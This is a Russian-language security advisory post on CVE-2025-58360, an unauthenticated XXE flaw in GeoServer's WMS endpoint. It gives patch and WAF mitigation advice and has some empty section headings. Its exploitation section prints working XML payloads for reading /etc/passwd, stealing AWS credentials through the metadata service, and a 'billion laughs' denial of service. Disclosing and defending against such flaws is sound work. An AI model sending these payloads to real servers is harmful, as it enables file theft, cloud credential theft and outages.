🔓 🛰️ 'CVE-2025-58360' WMS-эндпоинт GeoServer уязвим к XXE-атаке 🌟

🏷️ Основная информация

• CVE ID: CVE-2025-58360
• Опубликовано: 📅 25 ноября 2025
• Последнее изменение: 📅 25 ноября 2025 (всё ещё актуально на 26 ноября)
• Тип уязвимости: XML External Entity (XXE) – CWE-611
• Затронутое ПО: GeoServer (геопространственный сервер с открытым исходным кодом, написанный на Java)
• Серьёзность: 🔥 Высокая – базовая оценка CVSS v3.1 7.5
  • Вектор: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
• Эксплуатация в дикой природе: 🟡 Пока не наблюдалась (26 ноября 2025) – но публичные PoC уже распространяются
• Требуется аутентификация: ❌ Нет – полностью без аутентификации
• Требуется взаимодействие с пользователем: ❌ Нет

🎨 Что делает эту ошибку особенной (и опасной)

Это классическая, но разрушительная XXE в эндпоинте GetMap службы Web Map Service (WMS).
Атакующие могут:

• 📂 Читать любой файл, к которому имеет доступ процесс GeoServer (/etc/passwd, geoserver.xml, приватные ключи и т. д.)
• 🌐 Выполнять Server-Side Request Forgery (SSRF) для сканирования внутренних сетей или обращения к metadata-эндпоинтам (например, AWS/GCP)
• 💣 Вызывать отказ в обслуживании (Denial-of-Service) с помощью атак с расширением сущностей («billion laughs»)
• 🔗 Потенциально комбинировать с другими ошибками для получения полного RCE (не напрямую, но возможно при некорректной конфигурации)

🛡️ Затронутые версии (подробная таблица)

🌍 Глобальная подверженность (в реальном времени на 26 ноября 2025)

→ Это десятки тысяч потенциально уязвимых серверов, которые прямо сейчас находятся в открытом интернете! 🌐

🧨 Полный технический разбор эксплуатации уязвимости

Эндпоинт: POST /geoserver/wms
Ключевой параметр: SLD_BODY (позволяет передавать необработанный XML-код стилей)
Уязвимый участок кода: парсер XML не отключает разрешение внешних сущностей → классическая XXE.

Пример 1 – Раскрытие файлов (/etc/passwd)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<sld:StyledLayerDescriptor xmlns:sld="http://www.opengis.net/sld" version="1.0.0">
  <sld:UserLayer>
    <sld:LayerFeatureConstraints>
      <sld:FeatureTypeConstraint>&xxe;</sld:FeatureTypeConstraint>
    </sld:LayerFeatureConstraints>
  </sld:UserLayer>
</sld:StyledLayerDescriptor>

→ Ответ содержит содержимое /etc/passwd 🎉

Пример 2 – SSRF к внутренним метаданным (пример AWS)

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

→ Приводит к утечке временных учётных данных AWS при работе на EC2.

Пример 3 – DoS «billion laughs»

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!-- repeat up to lol9 -->
]>
<lol>&lol9;</lol>

→ За секунды расходует гигабайты оперативной памяти 💥

🛠️ Официальные исправления и загрузки

Пользователи Docker:

docker pull osgeo/geoserver:2.27.0

🔧 Обходные пути (если вы не можете сразу установить исправление)

1. Блокируйте опасный XML с помощью правила WAF/mod_security:
   Отклоняйте запросы, содержащие <!ENTITY или SYSTEM "file://
2. Отключите параметр SLD_BODY глобально (если он не нужен)
3. Запустите GeoServer с файловой системой только для чтения + сбросьте capabilities
4. Разместите за обратным прокси, который удаляет XML-тела запросов для неаутентифицированных пользователей

📢 Официальные ссылки и PoC

• Запись NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-58360
• Уведомление GeoServer: https://github.com/geoserver/geoserver/security/advisories/GHSA-fjf5-xgmq-5525
• Тикет JIRA: https://osgeo-org.atlassian.net/browse/GEOS-11682
• Публичный безопасный PoC (Python): https://gist.github.com/bolhasec/32fa035354d7cc9417aa297e2fe22b30
• Шаблон Nuclei (автообнаружение): уже объединён в основную ветку

⏰ Хронология

✨ Заключение

Это классическая XXE, поражающая широко развёрнутую геопространственную платформу с десятками тысяч экземпляров, доступных из интернета.
Исправления вышли в тот же день, что и раскрытие, — огромный респект команде GeoServer за скорость! 🏆
Но окно между выпуском исправления и массовой эксплуатацией стремительно сокращается.

Если вы используете GeoServer → обновитесь сегодня.
Не становитесь следующей новостью.

Оставайтесь в безопасности, оставайтесь на высоте! 🛡️✨